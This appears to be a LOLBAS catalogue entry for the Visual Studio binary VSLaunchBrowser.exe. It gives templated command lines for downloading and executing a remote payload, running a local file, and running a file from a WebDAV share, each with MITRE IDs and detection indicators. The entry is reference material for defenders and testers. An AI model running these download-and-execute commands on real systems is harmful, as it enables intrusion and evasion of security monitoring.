LOL · OtherMSBinary

VSLaunchBrowser.exe

3 techniques WindowsLOLBAS GPL-3.0

Download

File Download Windows

Download and execute payload from remote server

Use It will download a remote file to INetCache and open it using the default app associated with the supplied file extension with VSLaunchBrowser as parent process.

VSLaunchBrowser.exe .exe {REMOTEURL:.exe}

Context: user
Native: Download
MITRE: T1105
Detection: IOC: cmd.exe as sub-process of VSLaunchBrowser
IOC: URL on a VSLaunchBrowser command line
IOC: VSLaunchBrowser making unexpected network connections or DNS requests
Refs: lolbas-project.github.io/lolbas/OtherMSBinaries/VSLaunchBrowser/

Execute

Execution Windows

Execute payload via VSLaunchBrowser as parent process

Use It will open a local file using the default app associated with the supplied file extension with VSLaunchBrowser as parent process.

VSLaunchBrowser.exe .exe {PATH_ABSOLUTE:.exe}

Context: user
Native: Execute
MITRE: T1127
Detection: IOC: cmd.exe as sub-process of VSLaunchBrowser
IOC: URL on a VSLaunchBrowser command line
IOC: VSLaunchBrowser making unexpected network connections or DNS requests
Refs: lolbas-project.github.io/lolbas/OtherMSBinaries/VSLaunchBrowser/

Execute

Execution Windows

Execute payload from WebDAV server via VSLaunchBrowser as parent process

Use It will open a remote file using the default app associated with the supplied file extension with VSLaunchBrowser as parent process.

VSLaunchBrowser.exe .exe {PATH_SMB}

Context: user
Native: Execute
MITRE: T1127
Detection: IOC: cmd.exe as sub-process of VSLaunchBrowser
IOC: URL on a VSLaunchBrowser command line
IOC: VSLaunchBrowser making unexpected network connections or DNS requests
Refs: lolbas-project.github.io/lolbas/OtherMSBinaries/VSLaunchBrowser/